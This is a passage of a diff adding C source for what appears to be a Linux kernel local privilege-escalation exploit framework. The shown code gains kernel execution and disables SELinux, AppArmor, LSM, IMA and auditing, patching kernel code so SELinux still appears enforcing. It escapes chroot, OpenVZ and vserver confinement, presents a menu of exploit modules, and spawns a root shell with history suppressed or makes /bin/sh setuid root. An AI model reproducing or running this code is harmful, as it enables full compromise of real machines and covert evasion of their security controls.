long *)(current_addr + fs_offset); + if (fsptr == NULL) + continue; + // we replace root and pwd too, so adjust reference counters + // accordingly + for (z = 0; z < 6; z++) { + /* lemony snicket's a series of unfortunate ints */ +#ifdef __x86_64__ + if (fsptr[z] == 0xffffffff00000000UL) + continue; +#endif + if (virt_addr_valid(fsptr[z]) && virt_addr_valid(fsptr[z+1]) && + virt_addr_valid(fsptr[z+2]) && virt_addr_valid(fsptr[z+3])) { + set_fs_root((unsigned long)fsptr, (unsigned long)&initfsptr[z]); + set_fs_pwd((unsigned long)fsptr, (unsigned long)&initfsptr[z+2]); + return; + } + } + return; + } +} + +struct vserver_struct { + unsigned long val1; + unsigned long val2; + unsigned int val3; + unsigned int val4; +}; + +static inline void vserver_breakout(void) +{ + char zeroes[32] = {}; + int vserver_base; + unsigned int *vinfo, *ninfo; + unsigned long *curr; + struct vserver_struct *vserv; + int x; + + if (!init_task || !current_addr || !virt_addr_valid || !vc_sock_stat) + return; + + for (x = 0; x < 0x1000/sizeof(unsigned long); x++) { + vserver_base = x * sizeof(unsigned long); + vserv = (struct vserver_struct *)(current_addr + vserver_base); +#ifdef __x86_64__ + if (!memcmp(&init_task[x], &zeroes, 32) && + virt_addr_valid(vserv->val1) && virt_addr_valid(vserv->val2) && + vserv->val3 && vserv->val4) { + vinfo = (unsigned int *)vserv->val1; + ninfo = (unsigned int *)vserv->val2; + if (vinfo[4] == vserv->val3 && + ninfo[4] == vserv->val4) { + vserver_offset = vserver_base; + memset((void *)(current_addr + vserver_base), 0, sizeof(struct vserver_struct)); + break; + } + } +#else + /* currently broken */ + break; + if (!memcmp(&init_task[x], &zeroes, 16) && + virt_addr_valid(vserv->val1) && virt_addr_valid(vserv->val2) && + vserv->val3 && vserv->val4) { + vinfo = (unsigned int *)vserv->val1; + ninfo = (unsigned int *)vserv->val2; + if (vinfo[2] == vserv->val3 && + ninfo[2] == vserv->val4) { + has_vserver = 1; + vserver_offset = vserver_base; + memset((void *)(current_addr + vserver_base), 0, sizeof(struct vserver_struct)); + break; + } + } +#endif + } +} + +static int __attribute__((regparm(3))) own_the_kernel(unsigned long a) +{ + _kallsyms_lookup_name lookup; + + if (return_to_process_context == 1 && ptmx_fops && aio_read_offset) { + return_to_process_context = 2; + ptmx_fops[aio_read_offset] = 0; + goto resume_own; + } + + if (exp_state.got_ring0 == 1) { + /* we were already executed, just do nothing this time */ + return -1; + } + + exp_state.got_ring0 = 1; + + if (ring0_cleanup) + ring0_cleanup(); + + exp_state.kallsyms_lookup_name = lookup = (_kallsyms_lookup_name)get_kallsyms_lookup_name(); + + if (lookup) { + unsigned long testaddr; + + /* check to see if this lookup routine works reasonably */ + testaddr = (unsigned long)lookup("printk"); + if (testaddr && (testaddr < KSTACK_MIN || testaddr > KSTACK_MAX)) { + exp_state.kallsyms_lookup_name = lookup = NULL; + bad_kallsyms_lookup_name = 1; + goto skip_lookups; + } + + set_fs_root = (_set_fs_root)lookup("set_fs_root"); + set_fs_pwd = (_set_fs_pwd)lookup("set_fs_pwd"); + virt_addr_valid = (_virt_addr_valid)lookup("__virt_addr_valid"); + vc_sock_stat = (unsigned long)lookup("vc_sock_stat"); + prepare_ve0_process = (_prepare_ve0_process)lookup("prepare_ve0_process"); + init_task = (unsigned long *)lookup("init_task"); + init_fs = (unsigned long)lookup("init_fs"); + default_exec_domain = (unsigned long)lookup("default_exec_domain"); + bad_file_ops = (unsigned long *)lookup("bad_file_ops"); + bad_file_aio_read = (unsigned long)lookup("bad_file_aio_read"); + ima_audit = (int *)lookup("ima_audit"); + ima_file_mmap = (unsigned char *)lookup("ima_file_mmap"); + ima_bprm_check = (unsigned char *)lookup("ima_bprm_check"); + ima_path_check = (unsigned char *)lookup("ima_path_check"); + ima_file_check = (unsigned char *)lookup("ima_file_check"); + selinux_enforcing = (int *)lookup("selinux_enforcing"); + selinux_enabled = (int *)lookup("selinux_enabled"); + apparmor_enabled = (int *)lookup("apparmor_enabled"); + apparmor_complain = (int *)lookup("apparmor_complain"); + apparmor_audit = (int *)lookup("apparmor_audit"); + apparmor_logsyscall = (int *)lookup("apparmor_logsyscall"); + security_ops = (unsigned long *)lookup("security_ops"); + default_security_ops = lookup("default_security_ops"); + sel_read_enforce = lookup("sel_read_enforce"); + audit_enabled = (int *)lookup("audit_enabled"); + commit_creds = (_commit_creds)lookup("commit_creds"); + prepare_kernel_cred = (_prepare_kernel_cred)lookup("prepare_kernel_cred"); + xen_start_info = (unsigned long *)lookup("xen_start_info"); + mark_rodata_ro = lookup("mark_rodata_ro"); + set_kernel_text_ro = lookup("set_kernel_text_ro"); + make_lowmem_page_readonly = (_make_lowmem_page_readonly)lookup("make_lowmem_page_readonly"); + make_lowmem_page_readwrite = (_make_lowmem_page_readwrite)lookup("make_lowmem_page_readwrite"); + ptmx_fops = (unsigned long *)lookup("ptmx_fops"); + } + +skip_lookups: + + if (bad_file_ops && bad_file_aio_read) { + int t; + for (t = 0; t < 30; t++) { + if (bad_file_ops[t] == bad_file_aio_read) + aio_read_offset = t; + } + } + + if (are_interrupts_disabled() && ptmx_fops && aio_read_offset && !ptmx_fops[aio_read_offset]) { + ptmx_fops[aio_read_offset] = (unsigned long)&own_the_kernel; + return_to_process_context = 1; + exit_kernel(); + } + +resume_own: + + if (xen_start_info && *xen_start_info) + xen_detected = 1; + + if (xen_detected && mark_rodata_ro && set_kernel_text_ro && make_lowmem_page_readonly && make_lowmem_page_readwrite) + can_change_ptes = 1; + + if (audit_enabled) + *audit_enabled = 0; + + if (ima_audit) + *ima_audit = 0; + + // disable apparmor + if (apparmor_enabled && *apparmor_enabled) { + what_we_do |= DISABLED_APPARMOR; + *apparmor_enabled = 0; + if (apparmor_audit) + *apparmor_audit = 0; + if (apparmor_logsyscall) + *apparmor_logsyscall = 0; + if (apparmor_complain) + *apparmor_complain = 0; + } + + // disable SELinux + if (selinux_enforcing && *selinux_enforcing) { + what_we_do |= DISABLED_SELINUX; + *selinux_enforcing = 0; + } + + if (!selinux_enabled || (selinux_enabled && *selinux_enabled == 0)) { + // trash LSM + if (default_security_ops && security_ops) { + /* only list it as LSM if we're disabling + something other than apparmor */ + if (*security_ops != default_security_ops) + what_we_do |= DISABLED_LSM; + *security_ops = default_security_ops; + } + } + + /* TPM this, dedicated to rcvalle, redpig, and the powerglove + NOW you're playing with power! + + IMA only hashes kernel modules loaded or things run/mmap'd executable + as root. This of course doesn't include our exploit. So let's + just stop appending to the TPM'd hash list all together. + + Of course, clever minds could think of something better to do here with + this code, or re-enable it once they were done executing code as root + */ + + if (ima_bprm_check && ima_file_mmap && (ima_path_check || ima_file_check)) { + if (turn_off_wp()) { + if (memcmp(ima_bprm_check, "\x31\xc0\xc3", 3)) { + /* xor eax, eax / retn */ + make_range_readwrite((unsigned long)ima_bprm_check, 3); + ima_bprm_check[0] = '\x31'; + ima_bprm_check[1] = '\xc0'; + ima_bprm_check[2] = '\xc3'; + make_range_readonly((unsigned long)ima_bprm_check, 3); + what_we_do |= DISABLED_IMA; + } + if (memcmp(ima_file_mmap, "\x31\xc0\xc3", 3)) { + /* xor eax, eax / retn */ + make_range_readwrite((unsigned long)ima_file_mmap, 3); + ima_file_mmap[0] = '\x31'; + ima_file_mmap[1] = '\xc0'; + ima_file_mmap[2] = '\xc3'; + make_range_readonly((unsigned long)ima_file_mmap, 3); + what_we_do |= DISABLED_IMA; + } + if (ima_path_check && memcmp(ima_path_check, "\x31\xc0\xc3", 3)) { + /* xor eax, eax / retn */ + make_range_readwrite((unsigned long)ima_path_check, 3); + ima_path_check[0] = '\x31'; + ima_path_check[1] = '\xc0'; + ima_path_check[2] = '\xc3'; + make_range_readonly((unsigned long)ima_path_check, 3); + what_we_do |= DISABLED_IMA; + } + if (ima_file_check && memcmp(ima_file_check, "\x31\xc0\xc3", 3)) { + /* xor eax, eax / retn */ + make_range_readwrite((unsigned long)ima_file_check, 3); + ima_file_check[0] = '\x31'; + ima_file_check[1] = '\xc0'; + ima_file_check[2] = '\xc3'; + make_range_readonly((unsigned long)ima_file_check, 3); + what_we_do |= DISABLED_IMA; + } + turn_on_wp(); + } + } + + /* if we just set SELinux into permissive mode, + make the idiots think selinux is enforcing + */ + if (sel_read_enforce) { + unsigned char *p; + int can_write; + can_write = turn_off_wp(); + + if (sizeof(unsigned int) != sizeof(unsigned long)) { + /* 64bit version, look for the mov ecx, [rip+off] + and replace with mov ecx, 1 + */ + for (p = (unsigned char *)sel_read_enforce; (unsigned long)p < (sel_read_enforce + 0x30); p++) { + if (p[0] == 0x8b && p[1] == 0x0d) { + if (!selinux_enforcing) { + // determine address of rip+off, as it's our selinux_enforcing + sel_enforce_ptr = (int *)((char *)p + 6 + *(int *)&p[2]); + if (*sel_enforce_ptr) { + *sel_enforce_ptr = 0; + what_we_do |= DISABLED_SELINUX; + } + } + if (can_write && (what_we_do & DISABLED_SELINUX)) { + make_range_readwrite((unsigned long)p, 6); + p[0] = '\xb9'; + p[5] = '\x90'; + *(unsigned int *)&p[1] = 1; + make_range_readonly((unsigned long)p, 6); + } + } + } + } else { + /* 32bit, replace push [selinux_enforcing] with push 1 */ + for (p = (unsigned char *)sel_read_enforce; (unsigned long)p < (sel_read_enforce + 0x20); p++) { + if (p[0] == 0xff && p[1] == 0x35 && *(unsigned int *)&p[2] > 0xc0000000) { + // while we're at it, disable + // SELinux without having a + // symbol for selinux_enforcing ;) + if (!selinux_enforcing) { + sel_enforce_ptr = *(int **)&p[2]; + if (*sel_enforce_ptr) { + *sel_enforce_ptr = 0; + what_we_do |= DISABLED_SELINUX; + } + } + if (can_write && (what_we_do & DISABLED_SELINUX)) { + make_range_readwrite((unsigned long)p, 6); + p[0] = '\x68'; + p[5] = '\x90'; + *(unsigned int *)&p[1] = 1; + make_range_readonly((unsigned long)p, 6); + } + } else if (p[0] == 0xa1 && + *(unsigned int *)&p[1] > 0xc0000000) { + /* old 2.6 are compiled different */ + if (!selinux_enforcing) { + sel_enforce_ptr = *(int **)&p[1]; + if (*sel_enforce_ptr) { + *sel_enforce_ptr = 0; + what_we_do |= DISABLED_SELINUX; + } + } + if (can_write && (what_we_do & DISABLED_SELINUX)) { + make_range_readwrite((unsigned long)p, 5); + p[0] = '\xb8'; + *(unsigned int *)&p[1] = 1; + make_range_readonly((unsigned long)p, 5); + } + } + } + } + + turn_on_wp(); + } + + // push it real good + give_it_to_me_any_way_you_can(); + + // break out of chroot, mnt namespace + chroot_breakout(); + + // break out of OpenVZ + if (prepare_ve0_process && current_addr) { + prepare_ve0_process(current_addr); + } + + // break out of vserver + // find xid/vx_info/nid/nx_info -- they'll be zero in init_task but set in our confined task + // once found, zero it out + // can be made more reliable by verifying struct with xid info obtained from /proc + vserver_breakout(); + + return -1; +} + +/* we do this so that we can swap the stack out later if we need to upon returning to userland + and we won't lose any "local" variables, so the perf_counter exploit can have the same + pretty printouts as all the others ;) + note that -fomit-frame-pointer is required to pull this hack off +*/ + +static unsigned char *mem = NULL; +static _prepare_for_exploit prepare; +static _get_exploit_state_ptr get_exploit_state_ptr; +static _post_exploit post; +static int requires_null_page; +static int exp_idx; + +int cwd_dirfd; + +/* more sgrakkyu/twiz love */ +static void exec_rootshell(void) +{ + char buf[PATH_MAX+1]; + struct stat st; + int ret; + + char *argv[] = { "/bin/sh", "-i", NULL }; + char *argvbash[] = { "/bin/sh", "--norc", "--noprofile", NULL }; + char *envp[] = { "TERM=linux", "BASH_HISTORY=/dev/null", "HISTORY=/dev/null", + "history=/dev/null", + "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", + NULL }; + char *envpbash[] = { "TERM=linux", "PS1=\\u@\\h:\\w\\$", + "BASH_HISTORY=/dev/null", "HISTORY=/dev/null", + "history=/dev/null", + "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", + NULL }; + memset(buf, 0, sizeof(buf)); + + ret = stat("/bin/bash", &st); + + readlink("/bin/sh", buf, PATH_MAX); + + setgroups(0, NULL); // uses CAP_SETGID, we don't care if it succeeds + // though it should always + + // change back to saved working directory + if (cwd_dirfd >= 0) + fchdir(cwd_dirfd); + + /* if /bin/sh points to dash and /bin/bash exists, use /bin/bash */ + if ((!strcmp(buf, "/bin/dash") || !strcmp(buf, "dash")) && !ret) + execve("/bin/bash", argvbash, envpbash); + else + execve("/bin/sh", argv, envp); + + fprintf(stdout, " [+] Failed to exec rootshell\n"); +} + +static inline void __cpuid(unsigned int *eax, unsigned int *ebx, unsigned int *ecx, + unsigned int *edx) +{ + asm volatile("cpuid" + : "=a" (*eax), + "=b" (*ebx), + "=c" (*ecx), + "=d" (*edx) + : "0" (*eax), "2" (*ecx)); +} + +static inline void cpuid_count(unsigned int op, int count, unsigned int *eax, unsigned int *ebx, + unsigned int *ecx, unsigned int *edx) +{ + *eax = op; + *ecx = count; + __cpuid(eax, ebx, ecx, edx); +} + +static bool cve_chicken_out(const char *cve) +{ + struct utsname ver; + char sname[512]; + FILE *f, *fout; + unsigned int len = strlen(cve); + long fsize; + char *buf; + long i; + char c; + + uname(&ver); + sprintf(sname, "/boot/vmlinuz-%s", ver.release); + f = fopen(sname, "rb"); + if (f == NULL) { + f = fopen("./vmlinuz", "rb"); + if (f == NULL) + return false; + } + + fout = fopen("./vmlinux_decomp.gz", "wb"); + fseek(f, 0, SEEK_END); + fsize = ftell(f); + fseek(f, 0, SEEK_SET); + + buf = malloc(fsize); + if (buf == NULL) { + fprintf(stderr, "Unable to allocate memory.\n"); + exit(1); + } + + fread(buf, fsize, 1, f); + + for (i = 0; i < fsize - 4; i++) { + if (!memcmp(&buf[i], "\x1f\x8b\x08\x00", 4)) + break; + } + + if (i == (fsize - 4)) + return false; + + fwrite(&buf[i], fsize - i, 1, fout); + + fclose(f); + fclose(fout); + + system("gzip -d ./vmlinux_decomp.gz > /dev/null 2> /dev/null"); + + f = fopen("./vmlinux_decomp", "rb"); + if (f == NULL) + return false; + + free(buf); + + fseek(f, 0, SEEK_END); + fsize = ftell(f); + fseek(f, 0, SEEK_SET); + + buf = malloc(fsize); + if (buf == NULL) { + fprintf(stderr, "Unable to allocate memory.\n"); + exit(1); + } + + fread(buf, fsize, 1, f); + + fclose(f); + unlink("./vmlinux_decomp"); + + for (i = 0; i < fsize - len + 1; i++) { + if (!memcmp(&buf[i], cve, len)) + break; + } + + if (i == (fsize - len + 1)) + return false; + + printf(" [-] Brain-damaged upstream exploit \"protection\" detected for this exploit, would you like to try anyway? (y/N)\n"); + c = getchar(); + if (c == 'y' || c == 'Y') + return false; + + return true; +} + +static bool smep_chicken_out(void) +{ + unsigned int eax, ebx, ecx, edx; + cpuid_count(7, 0, &eax, &ebx, &ecx, &edx); + + if (ebx & (1 << 7)) { + char c; + printf(" [-] SMEP detected, this exploit will very likely fail on recent kernels. Continue? (y/N)\n"); + c = getchar(); + if (c == 'y' || c == 'Y') + return false; + return true; + } + + return false; +} + +int pa__init(void *m) +{ + char cwd[4096]; + char c; + + // save off the current working directory so we can change back to + // it after breaking out of any chroots + getcwd(cwd, sizeof(cwd)); + cwd_dirfd = open(cwd, O_RDONLY); + + /* page some things in */ + assert(!mlock(&own_the_kernel, 0x1000)); + c = *(volatile char *)&own_the_kernel; + assert(!mlock((void *)(((unsigned long)&exp_state) & ~0x0FFFUL), 0x1000)); + c = *(volatile char *)&exp_state; + assert(!mlock(&bella_mafia_quackafella_records_incorporated_by_rhyme_syndicate_three_yellow_men_trillionaire_club, 0x1000)); + c = *(volatile char *)&bella_mafia_quackafella_records_incorporated_by_rhyme_syndicate_three_yellow_men_trillionaire_club; + assert(!mlock(&give_it_to_me_any_way_you_can, 0x1000)); + c = *(volatile char *)&give_it_to_me_any_way_you_can; + assert(!mlock(&exit_kernel, 0x1000)); + c = *(volatile char *)&exit_kernel; + assert(!mlock(&make_range_readwrite, 0x1000)); + c = *(volatile char *)&make_range_readwrite; + assert(!mlock(&make_range_readonly, 0x1000)); + c = *(volatile char *)&make_range_readonly; + assert(!mlock(&get_kallsyms_lookup_name, 0x1000)); + c = *(volatile char *)&get_kallsyms_lookup_name; + + sync(); + + get_segment_descriptors(); + + exit_stack = (char *)calloc(1, 1024 * 1024); + if (exit_stack == NULL) { + fprintf(stdout, "Unable to alloc exit_stack\n"); + exit(1); + } + exp_state.exit_stack = exit_stack; + +#ifndef NON_NULL_ONLY + if ((personality(0xffffffff)) != PER_SVR4) { + mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); + if (mem != NULL) { + mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); + if (mem != NULL) { + fprintf(stdout, "UNABLE TO MAP ZERO PAGE!\n"); + goto boo_hiss; + } + } + } else { + main_ret = mprotect(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC); + if (main_ret == -1) { + fprintf(stdout, "UNABLE TO MPROTECT ZERO PAGE!\n"); + goto boo_hiss; + } + } + goto great_success; +boo_hiss: +#ifdef HAVE_SELINUX + if (exp_state.run_from_main == 1 && is_selinux_enabled()) { + security_context_t scontext; + context_t newcontext; + int retval; + + retval = getcon(&scontext); + if (retval < 0) + goto oh_fail; + + if (strstr(scontext, ":wine_t:")) { + fprintf(stdout, "allow_unconfined_mmap_low must actually work on this machine!\n"); + /* don't repeat */ + exit(1); + } + + fprintf(stdout, "But wait! Perhaps SELinux can revive this dead exploit...\n"); + newcontext = context_new(scontext); + freecon(scontext); + retval = context_type_set(newcontext, "wine_t"); + if (retval) + goto oh_fail; + scontext = context_str(newcontext); + if (scontext == NULL) + goto oh_fail; + if (security_check_context(scontext) < 0) + goto oh_fail; + retval = setexeccon(scontext); + if (retval < 0) + goto oh_fail; + context_free(newcontext); + fprintf(stdout, "This looks promising!\n"); + execl("/proc/self/exe", NULL); + } +oh_fail: + fprintf(stdout, "Nope ;(\n"); +#endif + exit(1); +great_success: + fprintf(stdout, " [+] MAPPED ZERO PAGE!\n"); +#endif + + add_exploit_modules(); + + if (num_exploits == 0) { + fprintf(stdout, "No exploit modules detected, exiting.\n"); + exit(1); + } + +repeat_it: + fprintf(stdout, "Choose your exploit:\n"); + for (exp_idx = 0; exp_idx < num_exploits; exp_idx++) + fprintf(stdout, " [%d] %s\n", exp_idx, modules[exp_idx].desc); + fprintf(stdout, " [%d] Exit\n", exp_idx); + fprintf(stdout, "> "); + fflush(stdout); + scanf("%d", &main_ret); + getchar(); + if (main_ret == exp_idx) + exit(0); + if (main_ret < 0 || main_ret >= num_exploits) { + fprintf(stdout, "Invalid number.\n"); + goto repeat_it; + } + + RANDOM_THOUGHT(); + + prepare = modules[main_ret].prep; + trigger = modules[main_ret].trigger; + ring0_cleanup = modules[main_ret].ring0_cleanup; + if (ring0_cleanup) { + char c; + mlock(ring0_cleanup, 0x1000); + c = *(volatile char *)ring0_cleanup; + } + get_exploit_state_ptr = modules[main_ret].get_exploit_state_ptr; + post = modules[main_ret].post; + requires_null_page = modules[main_ret].requires_null_page; + requires_symbols_to_trigger = modules[main_ret].requires_symbols_to_trigger; + + exp_state.get_kernel_sym = (_get_kernel_sym)&get_kernel_sym; + exp_state.own_the_kernel = (void *)&own_the_kernel; + exp_state.exit_kernel = (void *)&exit_kernel; + get_exploit_state_ptr(&exp_state); + + our_uid = getuid(); + + set_fs_root = (_set_fs_root)get_kernel_sym("set_fs_root"); + set_fs_pwd = (_set_fs_pwd)get_kernel_sym("set_fs_pwd"); + virt_addr_valid = (_virt_addr_valid)get_kernel_sym("__virt_addr_valid"); + vc_sock_stat = (unsigned long)get_kernel_sym("vc_sock_stat"); + prepare_ve0_process = (_prepare_ve0_process)get_kernel_sym("prepare_ve0_process"); + init_task = (unsigned long *)get_kernel_sym("init_task"); + init_fs = (unsigned long)get_kernel_sym("init_fs"); + default_exec_domain = (unsigned long)get_kernel_sym("default_exec_domain"); + bad_file_ops = (unsigned long *)get_kernel_sym("bad_file_ops"); + bad_file_aio_read = (unsigned long)get_kernel_sym("bad_file_aio_read"); + ima_audit = (int *)get_kernel_sym("ima_audit"); + ima_file_mmap = (unsigned char *)get_kernel_sym("ima_file_mmap"); + ima_bprm_check = (unsigned char *)get_kernel_sym("ima_bprm_check"); + ima_path_check = (unsigned char *)get_kernel_sym("ima_path_check"); + ima_file_check = (unsigned char *)get_kernel_sym("ima_file_check"); + selinux_enforcing = (int *)get_kernel_sym("selinux_enforcing"); + selinux_enabled = (int *)get_kernel_sym("selinux_enabled"); + apparmor_enabled = (int *)get_kernel_sym("apparmor_enabled"); + apparmor_complain = (int *)get_kernel_sym("apparmor_complain"); + apparmor_audit = (int *)get_kernel_sym("apparmor_audit"); + apparmor_logsyscall = (int *)get_kernel_sym("apparmor_logsyscall"); + security_ops = (unsigned long *)get_kernel_sym("security_ops"); + default_security_ops = get_kernel_sym("default_security_ops"); + sel_read_enforce = get_kernel_sym("sel_read_enforce"); + audit_enabled = (int *)get_kernel_sym("audit_enabled"); + commit_creds = (_commit_creds)get_kernel_sym("commit_creds"); + prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred"); + xen_start_info = (unsigned long *)get_kernel_sym("xen_start_info"); + ptmx_fops = (unsigned long *)get_kernel_sym("ptmx_fops"); + mark_rodata_ro = get_kernel_sym("mark_rodata_ro"); + set_kernel_text_ro = get_kernel_sym("set_kernel_text_ro"); + make_lowmem_page_readonly = (_make_lowmem_page_readonly)get_kernel_sym("make_lowmem_page_readonly"); + make_lowmem_page_readwrite = (_make_lowmem_page_readwrite)get_kernel_sym("make_lowmem_page_readwrite"); + +#if 0 + /* a demonstration of futility */ + if (cve_chicken_out(modules[main_ret].cve)) + exit(1); +#endif + + if (smep_chicken_out()) + exit(1); + + main_ret = prepare(mem); + if (main_ret == STRAIGHT_UP_EXECUTION_AT_NULL) { + mem[0] = '\xff'; + mem[1] = '\x25'; + *(unsigned int *)&mem[2] = (sizeof(unsigned long) != sizeof(unsigned int)) ? 0 : 6; + *(unsigned long *)&mem[6] = (unsigned long)&own_the_kernel; + } else if (main_ret == EXIT_KERNEL_TO_NULL) { + mem[0] = '\xff'; + mem[1] = '\x15'; + *(unsigned int *)&mem[2] = (sizeof(unsigned long) != sizeof(unsigned int)) ? 6 : 12; + mem[6] = '\xff'; + mem[7] = '\x25'; + *(unsigned int *)&mem[8] = (sizeof(unsigned long) != sizeof(unsigned int)) ? sizeof(unsigned long) : 16; + *(unsigned long *)&mem[12] = (unsigned long)&own_the_kernel; + *(unsigned long *)&mem[12 + sizeof(unsigned long)] = (unsigned long)&exit_kernel; + } else if ((main_ret & EXECUTE_AT_NONZERO_OFFSET) == EXECUTE_AT_NONZERO_OFFSET) { + int off = main_ret & 0xfff; + mem[off] = '\xff'; + mem[off + 1] = '\x25'; + *(unsigned int *)&mem[off + 2] = (sizeof(unsigned long) != sizeof(unsigned int)) ? 0 : off + 6; + *(unsigned long *)&mem[off + 6] = (unsigned long)&own_the_kernel; + } + + /* for NNP disabling */ + current_personality = personality(0xffffffff); + current_pid = getpid(); + + /* trigger it, and handle the exit_kernel case */ + trigger_get_return(); + + if (return_to_process_context == 1) { + int fd = open("/dev/ptmx", O_RDWR); + struct iovec iov; + + if (fd < 0) { + fprintf(stdout, " [-] Unable to open /dev/ptmx to change to process context.\n"); + exit(1); + } + iov.iov_base = &iov; + iov.iov_len = sizeof(iov); + readv(fd, &iov, 1); + // won't reach here + close(fd); + } + + if (exp_state.got_ring0) { + fprintf(stdout, " [+] Got ring0!\n"); + } else { + fprintf(stdout, "didn't get ring0, bailing\n"); + exit(0); + } + + if (return_to_process_context == 2) + printf(" [+] Adjusted from interrupt handler to process context\n"); + else if (return_to_process_context == 1) + printf(" [-] Failed ring0 execution after attempting process context re-entry\n"); + + if (exp_state.kallsyms_lookup_name) + printf(" [+] Obtained internal symbol table for extended functionality\n"); + else if (bad_kallsyms_lookup_name) + printf(" [-] Incorrectly detected lookup routine for internal symbol table\n"); + + printf(" [+] Detected %s %dk stacks, with current at %p%s\n", + twofourstyle ? "2.4 style" : "2.6/3.x style", + eightk_stack ? 8 : 4, (char *)current_addr, + (cred_support || (commit_creds && prepare_kernel_cred)) ? " and cred support" : ""); + if (raised_caps) + fprintf(stdout, " [+] Raised to full old-style capabilities\n"); + if (cred_offset) + fprintf(stdout, " [+] cred ptrs offset found at 0x%04x in task struct\n", cred_offset); + if (init_cred_addr) + fprintf(stdout, " [+] init_cred found at %p\n", (char *)init_cred_addr); + + { + char msg[64] = {}; + + if (what_we_do & DISABLED_APPARMOR) + strcat(msg, " AppArmor"); + if (what_we_do & DISABLED_SELINUX) + strcat(msg, " SELinux"); + if (what_we_do & DISABLED_LSM) + strcat(msg, " LSM"); + if (what_we_do & DISABLED_IMA) + strcat(msg, " IMA"); + if (!what_we_do) + strcpy(msg, " nothing, what an insecure machine!"); + fprintf(stdout, " [+] Disabled security of :%s\n", msg); + } + if (fs_offset) { + printf(" [+] Found ->fs offset at 0x%x\n", fs_offset); + if (init_task && init_fs) + printf(" [+] Broke out of any chroots or mnt namespaces\n"); + } + if (vserver_offset) { + printf(" [+] Found vserver id info at offset 0x%x\n", vserver_offset); + } + if (has_vserver) { + printf(" [+] Broke out of any vserver container\n"); + } + if (prepare_ve0_process) { + printf(" [+] Broke out of any OpenVZ container\n"); + } + + if (xen_detected && mark_rodata_ro && set_kernel_text_ro && (make_lowmem_page_readonly == NULL || make_lowmem_page_readwrite == NULL)) + fprintf(stdout, " [+] Unable to issue Xen hypercall for .text modification -- modification disabled\n"); + + if (exp_state.got_root == 1) + fprintf(stdout, " [+] Got root!\n"); + else { + fprintf(stdout, " [+] Failed to get root :(\n"); + exit(0); + } + + main_ret = post(); + if (main_ret == RUN_ROOTSHELL) + exec_rootshell(); + else if (main_ret == CHMOD_SHELL) { + chmod("/bin/sh", 04755); + fprintf(stdout, "/bin/sh is now setuid root.\n"); + } else if (main_ret == FUNNY_PIC_AND_ROOTSHELL) { + system("gthumb --fullscreen ./funny.jpg"); + exec_rootshell(); + } + + return 0; +} + +void pa__done(void *m) +{ + return; +} + +static inline unsigned long find_starting_string(void) +{ + unsigned long i, x; + unsigned char *mem; + + for (x = 0; valid_ranges[x][0]; x++) { + mem = (unsigned char *)valid_ranges[x][0]; + for (i = 0; i < (valid_ranges[x][1] - valid_ranges[x][0]) - 100; i++) { + if (!memcmp(&mem[i], "\0%s+%#lx/%#lx [%s]", 19) || // 2.6.18 and earlier + !memcmp(&mem[i], "\0+%#lx/%#lx [%s]", 17) || // before 3.8 + !memcmp(&mem[i], "\0+%#lx/%#lx", 12)) // 3.8 and later + return (unsigned long)mem + i + 1; + } + } + + return 0UL; +} + +static inline unsigned long find_reference_to_starting_string(unsigned long addr) +{ + unsigned int intaddr = (unsigned int)(addr & 0xFFFFFFFF); + unsigned long i, x; + unsigned char *mem; + + for (x = 0; valid_ranges[x][0]; x++) { + mem = (unsigned char *)valid_ranges[x][0]; + for (i = 0; i < (valid_ranges[x][1] - valid_ranges[x][0]) - 100; i++) { +#ifdef __x86_64__ + if (mem[i] == 0x48 && *(unsigned int *)&mem[i+3] == intaddr) +#else + if ((mem[i] == 0x68 && *(unsigned int *)&mem[i+1] == intaddr) || + (mem[i] == 0xc7 && mem[i+1] == 0x44 && mem[i+2] == 0x24 && mem[i+3] == 0x04 && *(unsigned int *)&mem[i+4] == intaddr)) +#endif + return (unsigned long)mem + i; + } + } + + return 0UL; +} + +static inline unsigned long find_call_to_kallsyms_lookup(unsigned char *mem, unsigned long len, unsigned long addr) +{ + unsigned long idx = addr - (unsigned long)mem; + unsigned long i; + + for (i = idx; i > idx - 0x100; i--) { + if (mem[i] == 0xe8 && *(int *)&mem[i+1] > -0x1000 && *(int *)&mem[i+1] < 0) + return (unsigned long)mem + i; + } + + return 0UL; +} + +static inline unsigned long get_call_target(unsigned long addr) +{ + return addr + 5 + *(int *)(addr + 1); + +} + +static inline unsigned long find_kallsyms_expand_symbol(unsigned char *mem, unsigned long len, unsigned long addr) +{ + unsigned long i; + unsigned long startidx = addr - (unsigned long)mem; + int count = 0; + + for (i = startidx + 0x20; i < startidx + 0x100; i++) { + // find near call followed by a test r12/r13 +#ifdef __x86_64__ + if (mem[i] == 0xe8 && mem[i+3] > 0xF0 && mem[i+4] == 0xFF && mem[i+5] == 0x4d) +#else + if ((mem[i] == 0xe8 && mem[i+3] > 0xF0 && mem[i+4] == 0xFF && mem[i+5] == 0x85) || + // interleaved mov + (mem[i] == 0xe8 && mem[i+3] > 0xF0 && mem[i+4] == 0xFF && mem[i+5] == 0x8b && mem[i+8] == 0x85)) +#endif + return get_call_target((unsigned long)mem + i); + } + + return 0UL; +} + +static inline bool call_to_function_pointer_nearby(unsigned char *mem, unsigned long len, unsigned long addr) +{ + unsigned long startidx = addr - (unsigned long)mem; + unsigned long i; + + for (i = startidx; i < startidx + 0x30; i++) { + // look for call reg / test eax, eax +#ifdef __x86_64__ + if (mem[i] == 0x41 && mem[i+1] == 0xff && mem[i+3] == 0x85 && mem[i+4] == 0xc0) +#else + if ((mem[i] == 0xff && mem[i+2] == 0x85 && mem[i+3] == 0xc0) || + (mem[i] == 0xff && mem[i+3] == 0xff && mem[i+4] == 0xff && mem[i+5] == 0xff && mem[i+6] == 0x85 && mem[i+7] == 0xc0)) +#endif + return true; + } + + return false; +} + +static inline bool has_return_value_checking_call_nearby(unsigned char *mem, unsigned long len, unsigned long addr) +{ + unsigned long startidx = addr - (unsigned long)mem; + unsigned long i; + + for (i = startidx; i < startidx + 0x30; i++) { + // look for relative call / test eax, eax + if (mem[i] == 0xe8 && 